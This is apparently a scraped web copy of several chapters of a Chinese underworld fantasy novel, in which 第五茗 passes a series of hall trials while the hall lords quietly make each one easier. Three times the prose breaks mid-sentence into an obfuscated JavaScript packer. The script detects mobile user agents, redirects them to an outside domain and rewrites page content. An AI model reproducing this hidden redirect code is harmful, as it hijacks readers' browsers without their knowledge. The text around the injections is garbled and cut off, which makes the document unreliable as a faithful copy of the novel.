她抿唇,特急切地,艰难地笑了笑。 见状,贺仁腹诽道:怕是想尽快去地面避开风有情吧。 不任职许久,反而说话越来越冠冕堂皇了! 贺仁一同站了起来,他揖礼道:“上君仁心,本君这就去办。” 稍倾,第五茗拿了东西,便踏上了上行下沉梯。 与其他入上行下沉梯的小鬼不同,她面上十分喜悦,跟她过往数次踏进上行下沉梯也有所不同,这一次,她不再是去受折磨的,她这一路,是去为自己争得片刻舒坦日子。 步子轻快,裙摆张扬,发丝顺阴风飞舞…好不惬意。 第一殿判罚殿内,恭送她的众人,垂下的眼眸,因她一摇一晃从裙间褶子里漏出来的一物,目光一亮再亮,一惊再惊,一疑再疑,一恐再恐… 通阳太明之印!?! 审判口吃道:“殿下,下官是不是眼花了,上…上君腰间挂的,那…那是不是帝君的通阳…阳太明之印?” 贺仁神色一凝,心里骂道:他大爷的!两人玩什么呢…这是能随便挂一只小鬼身上的东西吗?!! 他嘴角猛抽,无奈道:“啊…你没看错,是通阳太明之印,帝君的法器,号令整个冥界地府的宝贝。” 审判疑惑道:“这…不怕有心之人盗取吗?毕竟…上君的身子…” 他话都不敢说完,干吞口水,缓解激动。 贺仁白了他一眼,无语道:“有本事你去碰一碰试试,别怪本君不提醒哈,当心引火烧身。” 一旁的无知鬼差,问道:“火?殿下,那通印上有火?可冥钱黄纸上的印记不是护我等身躯的吗?” 扫了一圈,贺仁第一次觉得,殿内的人该换一批了。 他咬牙道:“你当帝君是傻子吗!他能随随便便把通印挂一只小鬼身上??难道能连一个禁制都不下?!再说了…那通印,可是经地狱火练出来的宝贝,烫手得很,历任帝君,没将它练顺服前,还不知道糟了多少罪呢。” 审判举手道:“殿下…我有一疑问,不知当讲不当讲?” 那可是通印啊,贺仁顿时想通了第五茗鬼身为何恢复得那般快。 他眼红,不耐烦道:“有屁快放!” 脾气都有些暴躁了。 审判一顿,道:“刚刚上君不是还否认认识帝君吗?下官明明记得,上君对找仙君帮忙作弊一事,频频逃避,为何此时孽镜台一出一入,通印便愿意明晃晃挂在身上了?风真君他们可还在地府,第一殿会遭牵连吗?整个阎罗殿会受…” 越听,贺仁眉头皱得越紧,在审判问出第三问的时候,打断道:“你不是只有一问吗?问这么多…” 审判自知说和做的不一样,歉疚地低了头。 贺仁长叹一口气,挑眉道:“算了,你不懂,多问两句,不是你的错,把头抬起来…本君问你,换做是你,这通印能随随便便给出去吗?” 审判答道:“不能。” 凑在周围的鬼差纷纷摇头。 贺仁继续问道:“那你认为,他们这关系是能随随便便告诉我们的吗?” 审判摇摇头道:“不能。” 贺仁又道:“那你问的那些问题,你觉得他们两不说,本君能知道吗?” 众人摇了摇头,审判蹙眉道:“不能…” 审判抬起头的后脑勺,毫无防备,贺仁拍了一掌上去。 贺仁道:“知道不能,还问一些本君答不上来的问题。他们不说,我们就当不知道,咱们第一殿的事,难道还不够多吗?一天天的,你们只知道八卦,知道那么多秘密干什么?!你不晓得知道得越多,死得越快吗!!!他是帝君,她身负神格,真出了什么事,定然是他们两上去顶着,后事如何,跟我们有什么关系??” 那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第五茗在两殿之间的梯段,艰难登爬时,遇见了急匆匆赶路的第一殿审判。 她热拢招呼道:“审判,这么着急,去前面办事啊?” 第一殿审判眼神闪躲,马马虎虎道:“是啊是啊…” 话落,身影消失在了上行下沉梯中。 第五茗吐槽道:“真是的,也太急了点吧。没说站一会儿同我客套客套,捎上我一段路…” 当第五茗走到第二殿前殿入口,尚且未来得及向守在审判台上的第二殿审判打招呼,第一殿的审判身影又迎面奔来,照样是脚下急匆匆的…第五茗粗喘休息,挥手热情道:“审判,这么急,回第一殿啊?” 第一殿审判有所顾虑,神色慌张道:“是啊是啊…” 语毕,身影沉入了上行下沉梯的尽头。 第五茗没好气道:“真是的,我是鬼吗?!遇见我,来也快,去也快,跑得太快了点吧…” 鬼??? 他是见着鬼了… 身子一顿,第五茗意识到方才吐槽的话,好像有些不对,正想改口… 那边,第二殿审判眼色极好地从审判台上走了下来,弯腰迎在殿口,道:“上君,请入判罚殿,我们殿下已经恭候多时…咱们入殿后,即刻便能开始第二殿试。” 第五茗喃喃道:“这么快??「上刀山」?” 第二殿审判道:“是的,我们殿下等很久了。” 他们积极,正合第五茗心意,二话不说,她跟着第二殿审判,去找第二殿主事贺义过殿试。 上刀山。 顾名思义。 小鬼赤脚上,锋利屠夫刀,登上尸骨山,见地狱之难。 第五茗指心在刀刃上拨过,低语细数道:“一、二…七…九、十?” 拧眉侧身,她问道:“贺义殿下,第二殿的刀梯变成一层十刃了?” 贺义俯身看了一眼,思虑道:“上君是觉得少了?” 第五茗疑惑反问道:“少了?” 瞧出了她的神色不对,贺义额角轻抽,目光不由自主瞟了一眼她的腰间,又朝其他地方看了一圈,抿唇道:“难道…是多了?” 贺义的奇怪,第五茗看在眼里,正准备询问缘由,一旁候着的第二殿审判上前一步,道:“上君,今日您的殿试,我们只准备了这一梯,早些时辰,已有七八只小鬼攀爬过试,可行的,您放心地上吧。” 第五茗自以为是凑巧捡了好处,咽回一肚子的话,点头示意道:“好吧,只要不耽误这一殿测试就行…” 收回手指,上面毫无划痕,她不放心道:“你们确定上这刀山,我能在通冥牌内收足魂气?” “不会耽误我提炼出魂命吧?” 第二殿审判答道:“上君放心,我们殿下一定会帮上君收足魂气的,上君只管上刀山。” 贺义附和道:“上君,上山吧。” 第五茗颔首,脱下鞋袜,开始在这每层都有一掌宽的均匀刀刃面上攀登。 一层十刃,赤脚踩上去,第五茗根本感觉不到任何疼痛。在刀山上爬得高了,才看见高俊的尸骨山周围,架了数不尽的刀梯,一部分空着,一部分上面正有受罚的小鬼,和第五茗一样,他们也在刀刃梯步上攀行。 有一点不同,他们脚过之处,必然留下一小块灰黑灰黑的魂体皮层… 而第五茗,身下刀梯,雁过无痕,干净得很。 上刀山,她不是没爬过,这般轻松地上刀山,她还是第一次…早早地登了顶,她等着围在刀梯下的贺义等人,放上通冥牌,吸收她鬼身留在刀梯上的魂气。 一刻,两刻,三刻…半个时辰…一个半时辰… 高处不胜寒,第五茗被一股阴风吹醒,她把住刀梯,朝下面喊道:“贺义殿下,魂气够了吗?” 93. 十殿试九道小试2 贺义纠结道:“还…还没…” 倒是审判,大声解释道:“上君,你心不恐惧,意不凌乱,这魂气有点稀薄…你可以的话,乱点心绪给刀梯,方便早些了决第二殿的测试。” 第五茗应道:“好的,我试试。” 她脚下猛踩刀梯,并列有序的刀刃,和石板路没有区别,只不过是更硬了点,她大喊道:“有了吗?” 一阵静默… 第二殿审判嗫嚅道:“有的…马上,上君再耐心等等。” 一旁,贺义小声抱怨道:“本君说了不可这样,你们非要改刀梯…这下好了,上君耗在这里了。” 第二殿审判道:“第一殿殿下特意送来提醒,下官方才在外间仔细看过了,上君腰间的确是那枚通印…殿下,要不我们想想办法替上君凑魂气吧,总比让上君在我们这里吃了苦头,跑到帝君面前编排我们殿要好一些啊。” 贺义道:“算了…你负责应付上君,本君去给通冥牌内灌魂气。” 第二殿审判道:“殿下,你…你要上刀山?” 贺义道:“那你来?” 第二殿审判面色愁苦道:“下官只有魂命没有神格,填不了上君的通冥牌…” 贺义刚上了一层刀梯,那通冥牌里的魂命就满了。审判立即朝上方喊道:“上君,第二殿测试已过,你可以下来了。” 须臾,第五茗完好无损地站在刀梯下,抬眼打量贺义,道:“殿下,你方才上我的刀梯了?” 贺义连忙否认道:“本君没有!” 第五茗翘首道:“没磕巴,看来是我眼睛不好使,恍惚了。” 闻言,第二殿内众人悄悄松了一口气,审判躬身道:“上君,请吧,该去过下一殿测试了。” 贺义支支吾吾催促道:“最近天…天界来了仙君,帝君也在,十殿忙…忙,上君尽快过十殿试吧。” 他这话,第五茗不疑有他,迈步踏上去往第三殿的上行下沉梯。 不同于上一段路,第二殿遣派了两名鬼差,一人掌心托幽火照路,一人持了张冥钱黄纸,帮第五茗减轻鬼身重量。 不过一刻,三人便到了第三殿的入殿口。 两名鬼差躬身行礼,火急火燎,转身灭了幽火,消失在梯道中。 第五茗才道出“多谢…”两字,后面的话就被梯内的无声黑暗掐断了。 而第三殿前殿殿堂里,第三殿主事贺礼,领了第三殿审判等一众鬼差恭迎在外,一并唤道:“见过上君。” 这种阵仗,第五茗以前经常见,可今时不同往日,作为阶下囚,复得往日待遇,难免让第五茗有些心慌。 她抱手垂头,还了一个更大礼,道:“诸位太客气了。” 当她翘首起身,眼前一幕,差点让她匍匐在地。 竟是在她躬身拘礼时,对方一众跟着折腰拜下… 脚下趔趄,第五茗心道:那岂不是我折腰,你们便要下跪? 疯了吧!!! 第五茗没敢尝试,她是来过十殿试应征鬼差,不是来同他们玩这种无聊游戏。另外,还有一群她惹不起的仙君在此地,她得尽快离开这里,躲了这群仙。 第五茗含笑道:“贺礼殿下,我是应试小鬼,你不用这般客气。” 贺礼双手一拍,四名鬼差抬出一方无棚软轿,走到第五茗面前。他邀约道:“上君,请上座,我们马上入判罚殿过试。” 第五茗惊诧万分,硬巴巴地转动脑袋,盯向那软轿,道:“殿下是要我坐这个东西,进第三殿的判罚殿?” 贺礼点头道:“上君明睿,下官是如此考虑的。” 下官?软轿?!! 第五茗素来知贺礼最注重繁文缛节…但是!现下这称呼,这行为,很明显不妥当啊!! 她早不是司命府的司命真君,如今在冥界地府更说不上什么话,贺礼这样做,无疑是折辱了他自己,额外,顺带无心地给了第五茗一巴掌 把第五茗的地位捧得高高的,比以往还高,挖苦到了第五茗的小鬼心。 这怎么受得住!! 第五茗推拒道:“从这里进去,不过半盏茶的功夫,殿下…要不我们走进去吧?上轿下轿多麻烦…” 第三殿审判附和道:“殿下,上君所言有理,今日过殿试才是重中之重,来日方长啊。” 贺礼莞尔,对软轿旁的鬼差挥了挥手,那四名鬼差便如何上来,又如何退了回去。 贺礼令众人侧身避让,留出去往审判殿的宽阔大道,道:“上君,请。” 顺路看去,阳关大道。 路竟是宽到一成年身量横着滚进去都绰绰有余。 第五茗嘴角微微咧开,尴尬笑道:“殿下,同请。” 浩浩荡荡,一众人踏上审判台,贺礼撤了石屏两处的结界,一股热风席卷而来。 那风,烫。 滚烫的风,让第五茗感觉到的不是温暖,是灼热。 鬼差和第五茗顿觉口干舌燥。 这风,其实也是阴风,只是本应凉爽沁鬼,但因风从地狱火上吹拂袭来,所以变成了滚烫的热风。 而那一滩地狱火,正落于第三殿的判罚殿背后,第三殿的殿试,便是借地狱火内捞出的湮灭礁石所成,小鬼赤脚走渡,方能祭出魂气,淬出魂命。 俗称,下火海。 贺礼挥袖一扫,挡了第五茗面前的热浪,另一手,翻转幻出一壶寒气阵阵的茶酒,递与第五茗解渴。 审判台上,第五茗推手婉拒道:“殿下,我今日想渡完十殿试,饮酒不好,容易误事。” 贺礼手一转,换了一瓶雪水,道:“上君喝点水,解解热。” 第五茗不再拒绝,道:“多谢殿下。” 其他鬼差和第三殿审判,抿了抿唇,眼带羡慕地目光四散。 突然,第五茗在石屏处停下脚步,其他人,一人贴一人背地挤停站下脚,嘘声一片。 第五茗环顾前殿一周,疑惑问道:“贺礼殿下,阻绝热气的结界仍在,为何前殿却是一只幽魂都没有了?” 她心中,不禁腹诽道:风有情他们来了,就能这般快地解决掉风雨江幽魂?不对啊…雨无伤那口大锅不是裂了吗? 紧接着,她嘴里喃喃道:“话说,从第二殿开始,我便没见到滞留幽魂的身影了…” 这情况,不算是不可告知的秘辛,贺礼坦然道:“帝君和风真君清点完鬼数后,便遣了他们去尸瓮里休息一会儿。” 说完,他指了指前殿两侧数不尽的尸瓮。 第五茗疑惑道:“为何?小鬼一直待在尸瓮里,也太憋慌了吧…” 十殿何时这般不仁义?!怎会图省事儿,把小鬼都押进尸瓮里?! 贺礼面色不好,第五茗话中的意思,他怎么会听不明白。 他暗沉道:“上君仁心。今日上君过殿试,恐有差池,便请他们进尸瓮里小憩一会儿,稍后便放出来。” 第五茗惊道:“因为我??” 两位大人物眼见僵执,第三殿审判急忙解释道:“十殿殿主得了消息,知道上君要去应征鬼差,第一殿的殿试过得十分辛苦,殿下们希望上君后面的殿试不受干扰,早早开始准备,约束了会出岔子的小鬼,又准备好了殿试,只要待上君过了殿试,我们就会打开尸瓮。事毕,殿下另备了茶酒和雪水款待…不算苛政,上君你看要不先去尽快过殿试,他们也能尽早出来?” 的确,眼下最要紧的是她离开这里… 第五茗垂眼,点头道:“嗯,走吧。” 这一万年里,第五茗知晓自己在冥界地府的风评不算太好,第三殿审判的话,她没多想,只当是这几殿想她快快过了殿试,好少她这一桩麻烦。 下火海说白了,其实就是光脚在烫礁石上走上几圈。魂气自脚底而起,由通冥牌内收集到礁石上的魂气后,便算通过殿试。 第五茗踩上礁石,凝眼蹙眉,脚上使了劲儿,碾了碾——没有温度!!! 扫了一圈围观的众人,见他们并没有异常的神色,第五茗只得在那一片冰冰凉凉的礁石上大步前行,她没一会儿走到了“火海”深处,身后迟迟没有贺义唤她折返的声音,她担心是走得太快了,所以,脚步放缓了一些。 猛地,她身后传来一声贺义的惊叫,接着,第三殿审判声音幽幽地哀怨道:“上君,第三殿试通过了,请快些折回来,去下一殿吧。” 少顷,第五茗大步跨走,麻利地回到礁石边缘。 哪知,魂气甚多,“火海”中烟雾越来越大,直到出了礁石,第五茗也看不清周围。 脚下湿湿黏黏,一鬼差上前引领,把她带到了审判殿的软榻旁,泡脚清污。 落座洗脚,第五茗这才看清,身旁已经坐了一人,正是贺礼。他脚下的雪水盆里,冰还有一大半,在他双脚间转浮。 贺礼神色不太好。 第五茗没敢多问,待穿好鞋袜后,她听见贺礼咬牙切齿道:“送上君去第四殿。” 四名鬼差从一旁突然窜出,蹲跪在地,应道:“是。” 一顶眼熟的无棚软轿,落在了四人的肩膀上。 第三殿审判呐喊道:“启程!” 又两名鬼差涌出,架起看傻眼的第五茗,扶到了软轿中,在第三殿审判急进地吆喝里,六名鬼差身上仿佛贴了瞬息符,眨眼间,第五茗未来得及向贺礼道谢,以及问清脑中疑惑,六名鬼差,一副软轿,以及她,便到了第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865620|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四殿的前殿中。 思来想去,第五茗都没弄明白这是发生了何事。 他们为什么会像送瘟神一样,连说话都没说两句就… 说话?! 登时,第五茗脸色陡然煞白,心里嘀咕:难道是嫌我烦??? 第四殿与前面两殿不同,这里前殿幽魂遍布,第四殿审判和一众鬼差正在引导幽魂进入尸瓮内。 一只最靠殿外的鬼差,看见第五茗被抬送的场景,他眼神充满疑惑,凑上前,看着傻傻站立原地深思的第五茗,左一眼,右一眼,细细打量。 一名新晋鬼差呢喃道:“女的…第三殿送来的,鬼身…有仙光…啊啊啊啊啊!!上官,上官!!!上君到了!!” 霎时,殿前一片寂静,所有幽魂循声望了过来,打量鬼差对面那和他们差不多的女鬼。 惊叫声近在耳旁,第五茗浑身一震,不舒服道:“老兄,耳朵快爆了…” 她抱怨道:“你们十殿是怎么了?今日怎么都不太正常。” 揉了揉耳朵,她继续吐槽道:“殿主不正常,审判不正常,鬼差更不正常…” 回答她的不是面前呆愣住的鬼差,而是鬼差身后的另一名鬼差,他道:“上君稍等。” 随即转身越过鬼群,他朝里通报道:“上官,上君到了!!” 是的,这名鬼差也没答第五茗的问题,而是接过她的话,继续着第一名鬼差的传话。 一声接一声,一名鬼差接一名鬼差,全部向审判台处,传递着同一句话,:“上官!上君到了!!!” 第五茗和殿前幽魂,都怔住了。 直到这话传到第四殿审判身上,总算是变了变。第四殿审判朝石屏后面,大喊道:“殿下,上君到了!!” “…” “…” 石屏后,传来一阵沉重的叹息,道:“带上君进来过殿试吧…” 语气悲悯,生无可恋,却是停在了恰到好处的地方,让听见的人,不会觉得有何不妥。 第四殿审判道:“是,殿下。” 他手上掐诀,直接瞬息到了第五茗跟前,他一手推开第五茗面前那只身子僵硬的鬼差,一手举起来,放在了第五茗身前。 他低头,恭敬有礼,余光正好看见了第五茗裙褶里的通印,他一震,一惊道:“上君,还请你搭上手,这殿前幽魂太多,我带你进去。” 第五茗问道:“你想瞬息带我进去?” 第四殿审判点头道:“是的。” 话落,他变出一块方巾盖在手腕上,方便第五茗落手。 第五茗犹豫道:“就几步路,不急吧?走…” 第四殿审判打断她的话,不容置疑道:“上君,我们殿下恭候多时,刻不容缓,一刻也不能耽误。” 第五茗莞尔道:“好吧。” 她手刚放上去,人便眨眼消失,到了判罚殿。 第五茗摇摇晃晃,站稳了脚,深呼吸,感叹道:“审判,你这瞬息诀练得可真好。” 审判招呼来两名鬼差,答道:“非矣,是殿下给的瞬息符。” 第五茗惊疑道:“啊?哦…贺智殿下可真大方。” 两名鬼差一人端凳,一人蹲下。在二人的安排下,第五茗坐在凳子上,让他们替她脱了鞋袜,绑好裙角,挽上裤脚。 第五茗怔怔地道:“贺智殿下呢?” 第四殿审判和两名鬼差退避在两侧,未答话。 这时,一人从第五茗身后,同样装扮,赤脚走了上来,儒雅道:“上君,请吧,第四殿试,趟油锅。” 贺智一手用法力牵起第五茗,一手掷了通冥牌入油池中,领着第五茗,向热油池中行去。 周围一片哀默… 事情发生得很突然,周围的鬼差又变得过于突兀,第五茗不知所措道:“贺智殿下?” 然而,贺智已经双脚走入了热油池中,他手上使着巧劲儿,让她一只脚轻沾热油,猛然,在他的拉扯下,两人倏地都退了回来。 第五茗愣愣地道:“这是做什么?” 她看不明白。 贺智眉头紧锁,淡淡地道:“恭喜上君,第四殿试通过。” 又是那两名小鬼,一人端凳,一人蹲下,替第五茗擦净脚上的油渍,放下裤脚,松了裙角,套上鞋袜。 第五茗被折腾得一脸茫然,回过神去寻贺智,此间,哪还有他的身影。 与此同时,第四殿审判毕恭毕敬到她身旁,看出她的疑惑,解释道:“方才殿下是要去查看油锅温度,顺带让上君同行,进行殿试…如今上君殿试已过,油锅也没问题,我们殿下去洁净脚面了,不方便恭送上君,便由我来代劳,上君不必四寻。” 94. 十殿试九道小试3 两名鬼差替第五茗整理好衣裙,第四殿审判从怀里又掏出一张符纸,上面的花纹第五茗认识,那也是一张瞬息符。 来不及询问其他,第五茗道:“审判要送我去第五殿?” 第四殿审判道:“是的。” 第五茗不解道:“贺智殿下和审判若是繁忙,我可以自己去上行下沉梯,怎好再一次劳烦审判。” 一方白巾又搭在了第四殿审判高举的手腕上,他道:“第五殿来信,催我们尽快送上君去渡第五殿殿试。” 第五茗无奈道:“好吧,辛苦审判陪同走一遭。” 第四殿审判颔首道:“应该的。” 趟油锅,原本是最煎熬的殿试。 传说热油滚沸,仙鬼入内,不管是仙体还是鬼身,那热油不分身份,不分高低,不避法力,会将入内的人,都炸出一圈焦皮。 因一直被第三殿的人带着走,晕头转向,一点思考的时间都没有,她动了动脚趾,暗自庆幸这一场殿试的快和忙,便没做多想。 另有一件稀奇事,在这忙不迭的半刻钟里,让她忽略了。第四殿的油锅,何时需要一殿殿主亲自用身体测量温度了… 第五茗动了动脚趾,鞋内没有一丁点儿难受的感觉,舒怡的感觉,让她放弃了深思下去。 四场殿试,除了第一殿的孽镜台,后面三试,皆是急冲冲来,急匆匆结束。 没想到,第五殿也不例外。 第五殿殿主贺信,竟把殿试直接挪到了殿前入口处。 第四殿审判带第五茗瞬息落地后,同贺信见了礼,便转身徒步走入了回第四殿的上行下沉梯。 同样的,第五殿殿前有一大批幽魂散乱在外,这一次,比之第四殿的传唤禀报,第五殿要雅正许多,却是最让第五茗窘相难掩。 一块厚铁板横铺在第五茗入殿的路上。 相隔数丈,第五茗手在嘴上扩扬,喊道:“贺信殿下,这是做何?” 贺信同样姿势,回答道:“上君,第五殿殿试,走钉板。” 第五茗蹲下身,仔细查看地上的东西,道:“这是钉板?” 的确是钉板,不过是一块反着放的钉板,钉尖在下,钉帽拼接成的面在上。 长短不一的钉尖被深深扣进了地面,密密麻麻漏出的一截,长度一致,一瞥而去,便会把钉板当做是一块厚铁板。 耳旁,如雷贯耳,她听见贺信道:“是的。” 身旁兀地出现两抹身影,让第五茗一不留神,闻声见形,跌坐在地上。 在第五殿审判的掺扶下,第五茗站了起来。 第五茗眼角频跳,扫了一圈对面挤在铁板前凑热闹的鬼差和幽魂,心中咯噔一声,脸上霎时漏出一层红晕,不敢相信地问道:“贺信殿下不会是想我在这里走钉板…吧?” 方才过来的身影,其中一抹正是贺信。 贺信顺第五茗视线看了过去,道:“自然…是的。” 第五茗脚下虚软,大半个的身子,依靠在第五殿审判身上了。 得亏这一殿的审判是一名女鬼差,不然,该有小鬼编排她借机“吃豆腐”。 第五殿审判安慰道:“上君勿怕,我们殿下特意替你将钉板翻了一个面,走起来,不会有千钉噬心的。” 第五茗单手捂面,将脸埋入审判怀里,道:“呜呜呜…如此张扬,如此不顾及脸面,贺信殿下倒是一贯如此适应了,只是苦了审判,你是怎么受下来的?他定是时时叫你丢面。” 闻言,第五殿审判望向对面,颔首,笑了笑道:“上君是害羞了?” 那厢,贺信挺起胸膛道:“上君,心中无愧,何惧小鬼审视。” 第五茗推开第五殿审判,转头看向贺信,为难道:“贺信殿下,我正是有愧于天界和天帝,才会被罚来冥界地府轮回受难,你这…这么多小鬼和鬼差,你叫我情何以堪。” 第五殿审判凑上前,宽慰道:“上君,你当对面的小鬼是青菜萝卜就好了,至于鬼差…白菜芋头,想成是吃的,便不会觉得害羞了。” 顿了顿,她继续道:“我们殿下心慈,比其他殿多收了一倍的风雨江幽魂,判罚殿根本无处下脚,更别说让上君从这里挤进去历殿试了,怕是没有个十天半个月,是过不了殿试了。” 第五茗怔愣道:“竟是如此?” 贺信点了点头,第五茗妥协道:“好吧…我们快些走,你们快些让我去第六殿。” 贺信和第五殿审判一同侧身,恭请道:“上君,请上钉板。” 第五茗心一横,低头走上了“厚铁板”。她未脱鞋,钉帽连接紧密,走在上面,除了冰凉坚硬了些,和走寻常大道并无区别。 她走了一半路程,对面本来悻悻围观的小鬼和鬼差,顿时诧异惊叫,并连连拍手叫道:“厉害啊…”“第一次见这样的过钉板!”“再来一个!!”“好!!好好!!!”“漂亮!!!” 第五茗:“????” 那一群鬼的视线都落在第五茗脚下的钉板上,第五茗不明白她走这两步究竟有什么好看的,也不清楚那群鬼叫好称赞的点在哪里…顶着一浪高过一浪的称赞,第五茗头埋得更低了,她跨的步子也越加大。 走下铁板后,拉了早瞬息守在铁板前的第五殿审判,第五茗娇羞道:“审判,我可是通过殿试了?” 第五殿审判笑道:“过了,恭喜上君。” 小鬼们还在叫好…第五茗伸出空余的另一只手,半掩在脸侧,偷看了一眼通往审判殿一路中的上千只鬼头,焦急道:“审判可有空?可否送我一程?” 第五殿审判从怀里掏出一张符纸,塞入第五茗手中,道:“我恐怕现下没空…” 第五茗喜道:“瞬息符!” 第五殿审判解释道:“特意为上君准备的。” 这比第五殿审判亲自送第五茗,更让她高兴。 第五茗与第五殿审判贴耳,道:“今日因贺信殿下丢脸丢大了,你们殿下呢?还在钉板那方??算了!我先走了,劳烦审判帮我同贺信殿下道别…我…暂时不想再同贺信殿下多说话…先走一步。” 第五茗身影消失在第五殿审判怀里时,从她站立的那方顶上,传来贺信的声音,他正好道了句“恭送上君”。 第五殿审判后退数步,仰头关心道:“殿下可还好?” 贺信道:“无碍。” 扔下了第五茗的通冥牌,丢给第五殿审判,他继续道:“魂气已满,送去下一殿吧。” 闻声,四周的鬼差和幽魂都抬起了头,向上搜索贺信身影,时而惊诧,时而好奇,时而佩服。 原来,在第五茗刚走上钉板时,身形忽大忽小的贺信,竟是倒转身子,吊走在地下的钉尖上,并把第五茗走过的一路钉板,全收踩在脚下,直到第五茗走通钉板,贺信将全部钉板垒于脚下,最后连人带板翻了一个身。 可惜,那时第五茗已经催动了瞬息符,贺信只来得及说四个字道贺。 瞬息符法力充足,和先前第四殿使的那一张极其相似。第五茗落地后,总算说了贺信一句好话,道:“还算有良心,丢了我的面,赔了一张瞬息符。” 她刚松了一口气,瞟到第六殿前殿站的人,刹那,心都漏跳了一拍。 幸好,她死了。 心不跳,也没多大关系。 第五茗咬牙定心,主动走上前,抱手一礼,故意震动胸膛,大吼道:“见过贺忠殿下!” 贺忠气势如虹,嗓门极大道:“上君安好!第六殿幽魂攒动,本君来此等候,亲自接上君去判罚殿。” “一!” “二!” “哈!!” “一!!” “二!!” “喝!!!” 一群幽魂及鬼差,井然有序,列阵排队,第六殿审判在前领头,上百数的鬼,一起在操练。 见状,第五茗吞咽道:“审判又在带兵啊…啊啊啊,不对,是强身健体…啊!” 贺忠睥睨一眼,视线从第五茗腰间的通印上收回,未答话,转身在前引路,道:“上君,还是快些入判罚殿吧,第六殿殿试需得速速通过。” “砰——”整齐划一,幽魂和鬼差收起了姿势,紧缩队伍,为抬步走来的贺忠让道。 同时,第五茗蹬脚一收,身姿笔直,双手贴裙侧,昂首挺胸,大声回应道:“好的!” 亦步亦趋,她跟在贺忠身后,每一步都抬得十分端正。 判罚殿内,寥寥无几。 不对!是鬼差有条不紊,抬了十块石碑板。 瞧了眼每一块石板的厚度,第五茗惊恐心道:这怕不是帝王碑石料吧… 看到这里,第六殿的殿试,不言而喻,便知是碎!大!石!! 至于是在胸口上碎,还是趴下,放在背上碎,都可以…只要鬼身够坚硬,哪怕是想用一根小拇指来顶十块碎石,也是可以的。 只是厚度…第五茗第一次见这……么厚的!! 她呆呆地朝贺忠眨了眨眼,指着那一叠比她高上两层的石料,不确定道:“殿下,这是为我准备的殿试?” 贺忠剑眉紧蹙,震声道:“既然准备要为冥界地府办事了,上君这说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873338|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话柔柔软软的方式,合该收一收!” 第五茗应声而震,收紧四肢,坚定地大喊道:“好的!” 她嗓子好痛啊… 她在地下最怕遇见的便是贺忠… 她真的招架不住。 却是从心底,同外间的幽魂和鬼差一模一样,她不敢违背贺忠叮嘱的一言一语。 两人走至石板旁,贺忠难得脸上有迟疑之色,须臾,他沉声问道:“上君的殿试与别的小鬼不同,需你来执锤,本君抗石料。” 第五民震惊道:“什么!” 贺忠眼色微凝,扫了过来,目光射杀道:“上君不愿意?” 第五茗是一万个愿意!! 只是方才过于欣喜,方不小心叹谓出口。 不用贺忠提醒第五茗大大方方讲话,她用力大喊道:“愿意!!” 贺忠嘱咐道:“上君且谨记,需一锤贯穿,否则就算通冥牌内魂气盈满,本君…也是不会给你过的。本君不容许,非功德之鬼,手无缚鸡之力,还能贪占冥界地府的位置。” 第五茗嘴角笑容难隐,道:“请贺忠殿下放心!我一定一锤贯穿。” 惯常都是贺忠威吓小鬼,没有小鬼能欺负到他头上,包括仙君能找茬到贺忠这里的,都极少。 他太难缠了… 这“缠”并非真正的纠缠,而是那贺忠就认蛮力,认军制。他很不讲道理的,若是有人不服,或是挑衅,贺忠的巨大武力会让对方诚服。 据不实传言所道,贺忠除了几位帝君不敢违抗,和风有情没有用武力对打过以外,其他九殿和不少天上的仙君,都曾是他的手下败将。 那不实传言有一句一定是真的,那就是有仙君曾败于他。 其中一人,正是当时任职司命的第五茗。 这也是为什么,后来第五茗法力尽失,拳脚也不差的原因,她平日里练着,便是为了有朝一日,一雪前耻! 噔—— 呲———— 一锤裂十石,惊天动地,金石之音响彻整个十层阎罗殿。 “咳咳咳…” 碎石散落一地,一块通冥牌掩在石灰中,静静地躺在贺忠胸膛上。 贺忠也静静地、稳稳地躺着… 时不时咳嗽一两声。 身负魂命和神格,自然是没有大的问题,不过贺忠喜欢用肉身抗,所以现在才疼得起不来身。 那厢,第五茗扔下大铁锤,拍了拍手,脚下小心翼翼绕过尖锐的碎石,走到贺忠身旁,问道:“贺忠殿下,我的殿试可是过了?” 贺忠缓缓抬手,将面上的石灰拂扫,漏出眼睛和嘴,隐忍道:“过…过了。恭…恭喜,上君。” 他又是一阵咳喘。 第五茗面作担忧,道:“同喜,我还是第一次见贺忠殿下这样…柔弱,看来殿下是该找机会,同审判他们一起强身健体了。” 贺忠不语。 第五茗不是来找茬的,紧着要紧的事做,告辞道:“贺忠殿下运法调息一下吧,肉身再坚毅也终是肉身,不然便不会有那般多的人想求道问仙。我赶着去第七殿,先行一步了。” 第五茗毫无留恋,且不心疼自责,转身,提起裙角,准备离开。 她刚迈出一步,便听见贺忠道:“上君…等一下。” 转头,第五茗看见贺忠手上拿了一张沾满石灰的符,同第五殿给的瞬息符相差无几,都是十殿殿主各自用法力画出的法符。 